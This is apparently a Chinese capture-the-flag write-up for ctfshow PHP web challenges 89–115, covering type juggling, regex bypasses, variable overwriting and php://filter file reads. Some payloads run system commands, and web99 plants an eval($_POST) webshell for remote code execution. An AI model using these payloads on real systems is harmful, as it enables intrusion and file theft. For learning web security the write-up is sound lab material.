目录

web89
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
首先来了解一下intval函数。
intval()函数可以获取变量的整数值,常被用来进行数据类型转换,将字符串类型的变量转换为整数类型
preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。
preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。
故payload:?num[]=1
web90
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){ //强类型判断 不仅判断值,还会判断类型
die("no no no!");
}
if(intval($num,0)===4476){ //从num的第一个位置开始转换成整形数据
echo $flag;
}else{
echo intval($num,0);
}
}
对于intval函数,当我们输入的num的值为123a的时候,经过intval函数的转化,就变成了123
所以当我们让num的值为4476a的时候,经过intval函数的转化,num的值就变成了4476。
web91
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
//表示匹配以php开头并且以php结尾,多行匹配
if(preg_match('/^php$/i', $a)){
//单行匹配以php开头,同时也以php结尾
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
其中正则匹配中的i表示:不区分大小写的意思,这里就是将匹配的目标设置为不区分大小写,即php和PHP是没有区别的。
m:表示多行匹配
使用边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1
^:匹配输入字符串的开始位置。$:匹配输入字符串的结束位置。
在默认的情况下,一个字符串无论是否换行只有一个开始^和结束$。如果增加了多行匹配的话(也就是说加上了m),那么每行都有一个开始^和结束$。
payload:?num=换行+php(%0aphp),所以经过第一个正则匹配的时候,由于是多行匹配,我们的payload中的第二行就是以php开始以php结束的。经过第二个正则匹配的时候,因为payload是%0aphp,便不符合以php开始以php结束。执行else。
web92
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){ //弱类型检验,只检验值
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
可以使用八进制或者是十六进制进行转化。
payload:?num=0x117c
还可以使用科学技术法来绕过==4476,科学技术法用e来表示,比如4476e12,就表示4476*10^12。从而绕过了==4476,之后再intval函数的时候,碰到字母e就不再继续转换,得到了4476
web93
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){ //不区分大小写 过滤字母
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
在上面的基础上过滤了字母,所以可以采用八进制或者是小数的方法绕过
payload:?num=4476.3或者是?num=010574(八进制)
web94
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){ //强类型判断
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){ //正则过滤掉字符
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
在上面题目的基础上增加了strpos函数。strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。
所以strpos函数的意思就是查找0在$num中的位置是否是0(此处就是过滤了八进制的方法),我们就只能使用小数的方法去绕过。且小数位还要存在一个0,假设我们的payload为4476.3,那么在经过strpos函数的时候,没有找到0,那么就会返回FALSE,在经过前面的!,就变成了TRUE。所以我们需要在小数的某一个位置带上0,绕过strpos函数。
payload:?num=4476.30
web95
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
在上一个题目的基础上增加了对点的过滤,同时需要满足:
$num的值不能是4476
不能含有大小写字母
num中必须包含着0,但是开头不能是0
可以使用换行或者空格或者+号,再加上八进制来绕过。
payload:
?num= 010574 //注意有空格
?num=%20010574
?num=%0a010574
?num=+010574
?num=%09010574
?num=%2b010574
web96
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){ //判断值是否相等
die("no no no");
}else{
highlight_file($_GET['u']); //高亮显示
}
}
首先可以通过报错,得到当前的路径。
可以使用绝对路径去访问:/var/www/html/flag.php
还可以使用php:filter伪协议来读取文件中的内容,当然也可以./,./的意思是当前路径的意思
payload:
?u=./flag.php
?u=/var/www/html/flag.php
?u=php://filter/read=convert.base64-encode/resource=flag.php
web97
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
经过POST方式传参a和b,传入的两个参数值不可以相等,但是经过md5加密之后是强相等。
传入数组,由于md5函数是无法处理函数的,所以当我们传入的值是数组的时候,会返回NULL,经过md5加密,得到了NULL,在经过强类型的判断,返回了TRUE。
payload:a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
涉及到三目运算符,以及变量覆盖的知识。
表达式1?表达式2:表达式3(表示:表达式1存在,那么就取表达式2的值,否则取表达式3的值)
&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容
对于第二行的代码而言,意思是:如果有GET传参的话,那么就将$_POST传入的参数赋值给$_GET变量,换句话说就是POST传入的参数和GET传入的参数是相同的。之后我们就可以通过POST来覆盖掉GET的值。
由于我们的GET传参是必需的,所以是不会取flag值得,所以中间的两句代码是没有任何意义的,最后的一句highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);代表着如果存在GET方式传参,HTTP_FLAG的值为flag,那么就highlight_file(flag),否则的话,就highlight_file(__FILE__)。
payload:
web99
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
array_push函数:用于将一个或多个元素插入/推入数组(入栈操作)
in_array ():
功能 :检查数组中是否存在某个值
定义 : bool in_array ( mixed $needle , array $haystack , [bool $strict = FALSE ] )
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。
但是如果省略了第三个参数,则存在着弱类型比较(类似==)
file_put_contents函数:将参数2的内容写入到参数1中,这里就存在着任意文件上传的漏洞。
由于每次rand都是从1开始的,因此array数组中存在1的概率是非常大的,之后in_array($_GET['n'],$array),当传入的参数n的值为1.php时,假设array中压入了1。由于省略了第三个参数,存在弱类型比较,所以说1.php在比较的时候会强制转换为1,刚好array中存在着1.满足if条件,执行file_put_contents。
故payload:?n=1.php POST传参为content=<?php eval($_POST[1]);?> (多次尝试,让1压入栈中)
便将一句话木马上传到1.php中,直接RCE。
web100
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
通过GET的方式接收v1、v2、v3的值。
这里还考察了=和and的优先级,&&>||>=>and>or,所以在这里就是先将is_numeric($v1)的值赋值给变量v0。之后再与后面的进行运算。
is_numeric()函数:判断变量是否是一个数字或者是数字字符串。
之后对v2和v3进行正则匹配,v2中不可以含有分号,但是v3中必须要有分号。
这里还涉及到反射类的知识点。参考文章:PHP: ReflectionClass - Manual
方法一:
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);只要使v1的值为1,就可以使得v0的值为true,从而进入if,之后需要满足的是v2不能有分号,v3必须有分号
payload:?v1=1&v2=system('tac ctfshow.php')&v3=;
方法二:
使用反射类直接输出class ctfshow的信息
payload:?v1=1&v2=echo new ReflectionClass&v3=;
看到大佬的博客中关于反射类的学习的一部分的代码段:
<?php class A{ public static $flag="flag{123123123}"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 输出 array(1) { ["flag"]=> string(15) "flag{123123123}" } var_dump($a->getMethods()); 获取类中的方法 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }
方法三:
因为这个flag在ctfshow这个类中,所以我们可以构造出var_dump($ctfshow);
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
web101
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
在上一关的基础上,对v2和v3进行了过滤,所以我们的v2就不可以在写成system('tac ctfshow.php'),因为过滤了点号和单引号。
只能使用反射类来输出class ctfshow的信息。
payload:?v1=1&v2=echo new ReflectionClass&v3;
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
条件:
POST方式提交v1参数,GET方式去提交v2和v3。
substr()函数:用来返回某个字符串的子串。例如v2=123456789,则上面的代码返回3456789
call_user_func()第一个参数代表着函数的名,第二个参数代表着传入函数的中参数。返回调用函数后的结果。
file_put_contents():将参数二的内容写入到参数一中。
该题目的思路就是通过调用hex2bin函数,将我们传入的十六进制内容解码为ASCII码,传入的参数可以通过base64编码,再转换为16进制,那么call_user_func函数返回的结果就是base64编码之后的结果,之后可以使用php://filter伪协议将内容再经过base64解码,存放到某个文件中。
由于要经过is_numeric()函数的检测,所以传入的参数的值要求是数字串。
<?php
$a='<?=`cat *`;';
$b=base64-encode($a);//PD89YGNhdCAqYDs=
$c=bin2hex($b);//把base64编码之后的=去掉,再转换为16进制,结果是一样的
echo $c;//5044383959474e6864434171594473 结果中存在着e 会被当做是科学计数法
?>
payload:get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post : v1=hex2bin
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
在上一个题的基础上,增加了对str变量的过滤,.号的意思是匹配除换行符(\n、\r)之外的任何单个字符。*号:匹配前面的子表达式零次或多次。也就是说不能匹配到以p开头中间有h然后以p结尾的子串。可以在此时用上一个题的payload继续打。
web104
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
这里利用的是sha1函数不可以处理数组,那么当我们传入数组的时候,报错返回false,满足了if条件,从而输出了flag。同样md5函数也存在这样的漏洞。发现其他大佬直接传入v1=v2;v2=v2
web105
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
本题考查的是:变量覆盖的知识点。
先了解一下foreach函数。foreach(array_expression as $value)函数是遍历给定的数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
foreach(array_expression as $key => $value),同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。
第一个foreach是GET的键不能是error,第二个是POST的值不能是flag;一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。
第一种方法通过die($error)
GET方式提交:suces=flag POST方式提交:error=suces
分析:
//执行第一个foreach
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
//经过第一个foreach的时候,由于我们传入的是suces=flag,传入的键并不是error,执行$$key=$$value,得到了$suces=$flag
//执行第二个foreach
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
//POST传入的是error=sucess,由于传入的值不是flag,所以不会执行if语句
//执行$$key=$$value;得到了$error=$suces=$flag
之后由于我们没有通过POST传入flag变量,所以if条件判断为0,满足if条件,执行die($error),也就输出了$flag。
第二种方法通过die($suces)
//payload:(GET方式提交 POST什么都不提交)suces=flag&flag=
//先执行第一个foreach
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
//首先得到$suces=$flag 之后再得到了 $flag=NULL
//第二个foreach不执行,因为我们没有通过POST提交任何的数据
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
//由于没有通过POST传递flag,所以flag的值为空,判断刚好相等,再取反之后
//刚好为false,便不会执行if的内嵌语句
if(!($_POST['flag']==$flag)){
die($error);
}
//执行die($suces)输出了flag的值
echo "your are good".$flag."\n";
die($suces);
web106
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
此漏洞与md5的漏洞是相同的,当传入的变量是不相同是数据的时候,由于sha1和md5无法处理数组,返回false,从而绕过。当然也可以使用sha1和md5碰撞。
常见的md5加密之后为0e开头的原值可以看之前写的文章,当然sha1函数加密之后对于0e开头的值,也会认为是科学计数法,所以可以绕过。
找到了两个可以经过sha1函数加密可以得到0e开头的原值分别是aaroZmOk、aaK1STfY。
web107
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str()函数存在着变量覆盖漏洞,parse_str($id)把查询字符串解析到变量中,没有使用array选项,若有同名变量,将原来的覆盖。这里明显将原来的v2的值给覆盖掉。这里还涉及到弱类型的比较。可以使用md5碰撞,当然也可以传数组进去。
v3[]=1 v1[]=2
web108
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
考察ereg函数,ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,也可以绕过第一个if的判断。但是我们GET传入的参数还需要经过strrev函数(反转函数),以及将反转后的值转换为整数。
0x36d十六进制转换为十进制为877,构造payload: ?c=a%00778
web109
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
考察反射类的知识点,上面的题有详细的讲到过。直接打v1=ReflectionClass&v2=system('ls'),得到当前目录下的文件,直接访问或者v1=ReflectionClass&v2=system('tac xxx')
web110
error_reporting(0);//不显示报错信息
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
这里有了很多的过滤,不会了,看大佬的wp,使用到了FilesystemIteartor它的功能是用来获取当前目录文件。以及getcwd()函数(取得当前工作目录)。
payload:v1=FilesystemIterator&v2=getcwd
web111
题目考察变量覆盖的知识点。
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
最下面的if对v1变量进行正则匹配,如果匹配到ctfshow,那么就会调用getFlag函数,而该函数中存在着变量覆盖,所以我们需要让v1=ctfshow,之后通过全局变量来访问(这里就是看的大佬的wp了,实在是不会了)。
ctfshow的指向就是全局变量的指向,于是就有了相同的作用,那么此时var_dump(ctfshow)就等价于var_dump($GLOBALS)
web112
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
看到过滤的data、input、base64、rot13,其实就提示我们使用php伪协议了
可以使用的payload:php://filter/resource=flag.php,还可以使用没有被过滤的编码方式,如:php://filter/read=convert.quote-printable-encode/resource=flag.php
file=compress.zlib://flag.php(这是读取压缩流)
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php(这是两位一反转的读取方式)
第一次见下面的这三种方式,长知识了。
web113
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
增加了对filter的过滤,可以使用上面写到的读取压缩流的方式继续打。
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
同时is_file()函数存在着漏洞,在linux中/proc/self/root指向的是根目录,那么我们在linux中使用命令 ls /proc/self/root 便会显示根目录下的内容,可以通过多次重复使用/proc/self/root来绕过is_file()函数,这里具体原因我也不知道为啥。
payload:file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
payload:?file=php://filter/resource=flag.php
web115
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
GET方式传参的num需要满足必须是数字,并且不等于36,经过函数去空之后也不等于36,经过函数过滤之后等于36
这个题还是有点不懂,附上大佬的FUZZ脚本:
<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))."\n";
}
}
?>
%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9
构造payload:%0C36